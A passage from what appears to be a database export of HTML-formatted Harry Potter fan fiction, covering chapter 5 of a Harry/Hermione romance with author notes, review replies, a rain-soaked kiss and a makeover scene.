is.&#8221;\nHarry replied. &#8220;It&#8217;s nice for Quidditch, not warm like back in September.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It looks like it\nmight rain.&#8221; She said, looking up. Dark clouds loomed overhead, they were\nthickly swollen with rain.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aye.&#8221; A cooler\nbreeze blew at them, and Hermione shivered. &#8220;Cold?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A little.&#8221;\nHermione looked up at him. &#8220;What was that I said about it being warm?&#8221; they\nboth chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe&#8230;this will\nhelp.&#8221; Harry unhooked her hand and slid his arm around her waist, pulling her\nagainst him. &#8220;Body heat.&#8221; He said, a bit nervously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione suddenly\nfelt hot all over, and she knew it had nothing to do with the temperature of\nthe air. A lump rose in her throat. &#8220;Will it be too windy to go flying?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t think\nso.&#8221; Harry replied, absentmindedly moving his fingers against the fabric of her\ncloak. It was all Hermione could do to keep from gasping aloud at his touch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They had almost\nreached the Quidditch field when a bright bolt of lightning flashed across the\nsky, thunder immediately following.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now that&#8217;s a\nproblem.&#8221; Harry said, disappointed. &#8220;Lightning.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221; Hermione\nfrowned, a bit upset; she&#8217;d been looking forward to being on a broom with him\nagain.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Both of them\nstood looking at the clouds, and all of a sudden, the skies opened and rain was\npouring down over them like a waterfall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Run!&#8221; Harry\nshouted, and they both turned back to the castle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As disappointed\nas she was, Hermione couldn&#8217;t help but laugh as they slipped and fell in the\nwet grass. &#8220;We&#8217;re already wet, running won&#8217;t help us now.&#8221; She said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good point.&#8221;\nHarry blinked; his glasses were so wet he couldn&#8217;t really see through them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here.&#8221; Hermione\nreached up and pulled his glasses from his face. Taking her wand from her\npocket, she tapped the glasses with it. &#8220;Repelius.&#8221; She said and the rain began\nto bounce off the lenses, not allowing them to be wet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow.&#8221; Harry said\nas he slipped them back on. &#8220;That&#8217;s amazing, how did you know to do that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione shrugged\nmodestly. &#8220;It&#8217;s just a simple charm.&#8221; She replied, the telltale blush making\nits appearance on her cheeks. She started walking again, raising her face so\nthe rain could cool it off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s so\ninteresting up there?&#8221; Harry asked, coming along side of her, bumping her\nshoulder with his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing.&#8221;\nHermione answered. &#8220;I love the rain, sometimes at home I go outside and just\nwalk around during a storm. It&#8217;s very calming.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I suppose so.&#8221;\nHarry replied. &#8220;I never tried that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I would\nrecommend it, especially if you&#8217;re feeling stressed out.&#8221; Hermione replied. She\nshook her hair out; it was going to bush up so badly later, she knew it. &#8216;Oh\nwell&#8230; at least I&#8217;m here with Harry now.&#8217; She thought. That thought warmed her\nfrom head to toe, spreading a carefree, happy feeling throughout her whole\nbody. Without even realising it, she raised her arms above her head and began\nto twirl around.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stared open-mouthed\nas Hermione spun around, her hair flying out behind her. He&#8217;d never seen\nanything more gorgeous in his life.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you\ndoing?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You can&#8217;t fully\nappreciate rain until you&#8217;ve twirled.&#8221; Hermione answered dreamily, her eyes\nclosed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, guys don&#8217;t\ntwirl.&#8221; Harry answered. &#8220;At least not alone,&#8221; he hinted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stopped\nand faced him. &#8220;Come on then.&#8221; She answered, holding her hands out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Harry\nasked, pushing his rain soaked bangs from his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on!&#8221; she\nrepeated, coming forward and grabbing his hands. &#8220;We&#8217;ll whirl around together.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Their laughter\nrang gleefully as Harry and Hermione whirled in lopsided circles across the\nlawn, drawing nearer to the castle with each turn. Both were soaked to the\nbone, but had never felt warmer as they fell against one another, breathless\nand dizzy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Panting, Harry\nleaned against Hermione. &#8220;That was fun.&#8221; He said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aye it was.&#8221; She\nanswered, turning her head to look straight at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Greedily sucking\nair into their lungs, their gazes met. Hermione felt her heartbeat quicken as\nHarry&#8217;s eyes turned dark like they had the night before, and she tried not to\ntremble under the look he was giving her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry moved his\nface closer to hers while sliding his arms around her waist. He rested his\nforehead on hers; Hermione slid her hands up over his chest. Closing her eyes,\nshe tilted her head back, awaiting the pressure of his lips on hers. He felt\nlike trembling as her hands moved across his torso, and his eyes shut as well\nas he closed the remaining distance between their lips and sealed his across\nhers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gasped\nin pleasure as Harry&#8217;s mouth pressed against hers. She raised herself up on her\ntoes and his right hand swept up her back and into her wet locks, threading\nthem between his fingers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This was not\nenough for Harry; he wanted to feel more of her. Tentatively and unsure, he\ntouched his tongue to her closed lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione pressed\nherself tighter against Harry as she opened her mouth to him, she could taste\npeppermint, he must have had something before she&#8217;d gone to meet him. Running\nher hand around his neck, she gently stroked the hair at his nape. She was\nfeeling absolutely ecstatic, after three years she was finally getting what\nshe&#8217;d been longing for.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They kissed\nhungrily as if their mouths were food, small caresses and slight moans the only\nsound other than wind, rain, and occasional thunder. Breaking apart moments\nlater, Harry and Hermione were only able to stare at each other.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Bahahaha! You\nasked for it, you got it, half of chapter 5! Second half will be posted next\nweek after Heaven comes back from vacation. R/R, and Happy Thanksgiving to\neveryone who celebrates it!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(78, 6, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 5 Part II</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well thanks\neveryone! Sorry to leave you at such a cliffie ;) heehee</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Here&#8217;s the second\nhalf. You probably won&#8217;t like it as much as the first half&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And a word to the\nwise: Never go to Las Vegas at Thanksgiving! WHAT A MOB! ACK!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">Review Responses for Chapter FOUR:</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Coolone007: creative enough for you?</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">No need to know: Draco didn&#8217;t interrupt\nthem like Justin did&#8230;he&#8217;s innocent ;)</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">WindDragoon: Yes, Ginny is annoying isn&#8217;t\nshe!</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Blue Rain: Woohoo to pumpkin pie!!! H/Hr snogs\nare the best aren&#8217;t they!</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Sassycat1310: You got your wish in the\nfirst half of chapter 5!</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Sparkle Tangerine: Yes, Harry will find\nout about the bet&#8230;soon!</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Sbys: who wouldn&#8217;t love a daydream like\nthat LOL</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Death Demon Xero: Yes, he&#8217;s best friends\nwith Draco in this AU FIC</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">I like lamingtons: thanks, we&#8217;re both\nglad you&#8217;re enjoying it!</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">LeBoshi: The smut is coming, well not on\nff.net, but at our groups ;) heehee</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Hazel: You caught one of our booboo&#8217;s! Here&#8217;s\nsome pumpkin pie for you for having a better memory that&#8217;s better than ours!\nYeah, Dean is Pansy&#8217;s partner, but we put Draco instead ;) </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Malawai: thanks ;) being compared to the\nGoddess herself always brightens our day!</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Arwen: You&#8217;re reading a story written by\ntwo people who really don&#8217;t like Ginny. After ch 5, she really has no more\nparts in it anyways&#8230;.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Thanks to everyone else, now on with the\nsecond half of Chapter 5!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was the\nfirst to react; a smile broke hesitantly across his face. Hermione was barely\nable to breathe as their eyes met and held for what seemed like an eternity.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on.&#8221; Harry\ngrabbed her hand firmly in his and pulled her up to the castle. &#8220;Bit warmer\ninside I&#8217;m sure.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione paid no\nattention to the temperature, she was still in shock. He had kissed her! She\nhad kissed him! She could still feel the tingle of his lips on hers as they\ncame into the dry main corridor. Harry shut the door behind them, then turned\nback to Hermione and put his hands on her waist, drawing her close to him once\nmore. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This had been the\nmost meaningful kiss of his life to date, and he didn&#8217;t want the feelings to go\naway. &#8220;Hermione I&#8230;.&#8221; He began but a loud squeal from behind them rang shrilly\nthrough the air.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; Ginny\nWeasley propelled herself across the corridor and latched herself onto him.\n&#8220;I&#8217;ve been so worried about you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Harry\nlooked dumbfounded as Ginny threw her arms about his neck and her legs around\nhis waist. He was forced to let go of Hermione, whose face was twisted in a\nslight scowl.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I went\nlooking for you in the common room and when you weren&#8217;t there I checked the\nkitchens, and the library&#8212; why were you outside, it&#8217;s pouring! You could get\nsick!&#8221; Ginny laid her head down on Harry&#8217;s shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry tried to\npush her away but Ginny was like a leech, he couldn&#8217;t pry her off for the life\nof him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shall I leave\nyou two alone?&#8221; Hermione asked tightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That would be\ngreat, thanks.&#8221; Ginny said breezily, dismissing Hermione with a flick of her\nhand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stared\nat Harry once more, and when he didn&#8217;t say anything she turned sharply on her\nheel and stalked down the corridor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now that we&#8217;re\nalone&#8230;&#8221; Ginny said, letting her legs drop.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why did you do\nthat?&#8221; Harry finally found his voice as he pushed her away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do what?&#8221; Ginny\nasked innocently, toying with her red hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why did you jump\non me like that?&#8221; Harry was furious.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well why\nshouldn&#8217;t I?&#8221; Ginny asked. &#8220;You like me, don&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not that way.&#8221;\nHarry answered, flatly and coolly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But you like\nHER?&#8221; Ginny stabbed a finger in the direction Hermione had disappeared.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes. Yes I do.&#8221;\nHarry stepped back and crossed his arms in front of him as if to ward her off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny wrinkled\nher nose. &#8220;Why?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry felt his\ntemper rise. &#8220;Why? Because she&#8217;s a beautiful, smart girl that people have taken\nadvantage of all her life. She treats me like a human being, not like some\ncelebrity because I because I defeated Voldemort, and play Quidditch. That&#8217;s\nwhy!&#8221; Harry was yelling loudly now. Ginny flinched, at Harry&#8217;s tone and the\nname Voldemort as he turned, and without another word to her, went after\nHermione. He hoped to catch her before going into the common room and tell her\nhow much kissing her had meant to him, but the hallway leading to the Slytherin\nCommon Room was deserted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Damn!&#8221; Harry\npounded his fist against the wall. He would have to find her before breakfast\nthe next morning and explain everything. That thought made him feel better and\nhe began to hum as he walked back to Gryffindor Tower.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione banged\non the door to the Head Girl&#8217;s room. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come in!&#8221; Blaise\ncalled idly. Hermione burst through the door and Blaise&#8217;s eyes widened. &#8220;What\nhappened to you?&#8221; she cried. Hermione&#8217;s hair was wet and sticking every which\nway, her eyes red and puffy like she&#8217;d been crying, which Blaise realised\nquickly that she indeed was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry and I&#8230;.\nwent&#8230;. raining&#8230; kissed.&#8221; Hermione managed miserably, hiccupping. &#8220;Came back\nin&#8230;Ginny&#8230;. arms and legs!&#8221; she finished and started crying hard again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ohhh&#8230;.&#8221; Blaise\ncame forward and hugged her friend tightly, not caring she was wet and\nfreezing. &#8220;Honey, he knows Ginny is a little bitch&#8212; and what&#8217;s this, you\nkissed?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221; Hermione\nmanaged a tiny smile. &#8220;Outside, when we were coming back to the castle and it\nstarted to rain&#8212; you know I get a bit wild sometimes when we have a downpour,\nand we were spinning around together, and when we were both trying to catch our\nbreath&#8230;. it just sort of&#8230;. happened.&#8221; Hermione paused. &#8220;But then, when he\npulled me back in the castle, I thought maybe he was going to tell me like\nlikes me too, but then Ginny came along and jumped in his arms, and he didn&#8217;t\npush her away or anything!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe he wanted\nto, she&#8217;s so clingy he probably couldn&#8217;t.&#8221; Blaise tried to give Harry the\nbenefit of the doubt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe he just\nlikes that type of girl and I was wrong.&#8221; Hermione replied, then suddenly, her\neyes lit up. &#8220;Maybe I can be like that!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, you&#8217;re\nnot like that at all.&#8221; Blaise said carefully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But I can be!&#8221;\nHermione wiped the last traces of tears from her eyes. &#8220;You can give me a\nmakeover!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise&#8217;s eyes\nwidened, how long had she been trying to convince her friend to let her do that\nand here was her chance, yet she felt wrong about it somehow. &#8220;I don&#8217;t know,\nHermione.&#8221; Blaise said hesitantly. &#8220;I mean, I know I&#8217;ve been wanting to do this\nfor you since we were kids, but it seems like you want one for the wrong\nreason.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not if it means\nI will get Harry.&#8221; Hermione replied stubbornly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221;\nBlaise agreed reluctantly, and Hermione sprang up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great! Let&#8217;s get\nstarted!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now? But I have\nhomework to finish and&#8212;&#8220; Hermione cut her off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll do it for\nyou later.&#8221; She said, pulling on Blaise&#8217;s arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, okay.&#8221; Blaise\nsaid as they entered the bathroom. &#8220;You sit there.&#8221; She pointed to a chair and\nthen turned to cast a locking charm on the door. &#8220;We wouldn&#8217;t want Justin\ncoming in here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No thanks.&#8221;\nHermione shed her wet cloak and robe. She brought the chair over to Blaise&#8217;s\nvanity and sat down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230;&#8221; Blaise\npulled out a variety of things Hermione had never even seen and set them on the\ncounter. She pulled a wide tooth comb from the jumble of appliances. &#8220;Since\nyour hair is wet already, that&#8217;s a good thing.&#8221; She said, working the comb down\nHermione&#8217;s long locks. &#8220;Have you ever seen yourself with straight hair?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; Hermione\nreplied. &#8220;It&#8217;s always been bushy like this, since I&#8217;ve been very young.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, this will\nbe quite a change for you then.&#8221; Blaise grabbed a towel and began to squeeze\nthe excess water from Hermione&#8217;s hair, and then grabbing another to completely\ndry the strands. Once she did that, she muttered a quick heating charm on her\nwand. She could still hold it, but it would help her straighten the bushy\nlocks. Wrapping a thick lock around it, she held it for several minutes, and\nthen let it fall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How long will\nthis take?&#8221; Hermione asked a half hour or so later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Depends on how\nmuch you want me to do.&#8221; Blaise replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Everything.&#8221;\nHermione answered, looking up at her friend. &#8220;I really need him.&#8221; She said\nquietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herms,\neverything will work out.&#8221; Blaise answered, taking the last lock of hair and\nwinding it around her wand. &#8220;I never realised your hair was so long.&#8221; She let\nthe last bit go and then grabbed her brush again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can I look?&#8221;\nHermione moved to turn and look at herself (Blaise had turned her away from the\nmirror) but was stopped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not until we&#8217;re\ndone.&#8221; Blaise said. &#8220;Now I realise that we&#8217;re just going to have to get your\nmakeup done again in the morning, but I want to do it now so you can see.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221;\nHermione tried to remain patient. She had to keep reminding herself that she\nwas doing this for Harry&#8230;no more games anymore. Blaise took another hour just\nwith makeup, sometimes taking it all off and starting over again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stop fidgeting!&#8221;\nshe cried when Hermione started squirming. &#8220;I almost got this mascara in your\neye!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry.&#8221; Hermione\nmuttered. It was difficult to sit still for so long.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221; Blaise\nfinally backed off. &#8220;Now, clothes&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Clothes?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, if you&#8217;re\ngoing to make Harry gawk at you, you need to wear something tighter.&#8221; Blaise\npulled on Hermione&#8217;s arm, bringing her back into her bedroom. &#8220;Wear this and\nthis.&#8221; She pulled a jumper and skirt from her chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione caught\nthem. &#8220;Isn&#8217;t this a little short?&#8221; she asked, holding the skirt up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s the idea,\nHermione.&#8221; Blaise answered, grabbing one of her robes as well. &#8220;Go and try\nthese on.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione took the\nclothes and Blaise went back in the bathroom. She left her own white blouse on,\nand pulled Blaise&#8217;s jumper and skirt on.&nbsp;\n&#8220;Goodness, I won&#8217;t be able to even sit in this unless I hike it up.&#8221; She\nsaid to herself. She yanked the robe on over that and resisted the urge to look\nin the mirror. Hermione was a bit scared; she wasn&#8217;t sure what she was going to\nsee.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come in here!&#8221;\nBlaise called, as if reading her mind. &#8220;I don&#8217;t want you looking in the mirror\nuntil I&#8217;m ready for you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, all\nright I&#8217;m coming!&#8221; Hermione said, going into the bathroom. &#8220;Do I look\nridiculous?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herms, really.&#8221;\nBlaise said. &#8220;If you looked ridiculous, that would reflect bad on me as well,\nand I&#8217;m not about to let that happen.&#8221; She reached out and fixed a few strands\nof hair. &#8220;Are you ready to see yourself?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;YES!&#8221; Hermione\nsaid, still a bit nervous. Blaise took her by the shoulders and spun her around\nto face the mirror. She stared in shock at the pretty girl reflected back at\nher. &#8220;Is that me?&#8221; she asked, stunned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s you.&#8221;\nBlaise was proud of her work. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione went\ncloser to the mirror. Her hair hung down below her chest, and it was straight,\ncurled slightly at the ends. Her eyes had been emphasized by light makeup, her\nlips looking fuller due to some shiny gloss, her cheeks slightly pinker as\nwell. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m not so sure\nabout the clothes though.&#8221; She murmured several minutes later, tugging on the\nbottom of the skirt. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, I&#8217;m\ntelling you&#8230;you want Harry to notice you like all the guys do Ginny? You&#8217;ve got\nto have something like this on.&#8221; Blaise replied, coming up next to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Hermione\ntrusted Blaise.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Listen, you can\nwash off the makeup now, we&#8217;ll get up a bit early tomorrow so I can fix it for\nyou again.&#8221; Blaise said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221;\nHermione went over to the sink. &#8220;Thanks Blaise.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Anytime.&#8221; Blaise\nsmiled at her friend. She just hoped that her friend could work everything out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Taking a deep\nbreath, Hermione counted to ten. She was so nervous, looking at herself this\nway the night before had been fine, but now going in the Great Hall in front of\neveryone? She was absolutely terrified.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, just\nfind Harry, then walk right over to him. That&#8217;s all you have to do.&#8221; Hermione\ncoached herself, and before she could find a way to stall further, pushed open\nthe doors. She forced a smile on to her face and assumed a confident walk\nbetween the tables. Heads turned to look at her, she could even hear a few\nwhispers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is that Bookworm\nGranger?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What happened to\nher hair?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Man she&#8217;s hot!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione didn&#8217;t\nturn her face; afraid she might stumble and make a fool of herself. She spotted\nHarry sitting with Ron Weasley, they were obviously talking bout their win the\nday before.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello Harry.&#8221;\nShe said; proud of how smoothly the words flowed. Harry and Ron both looked up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 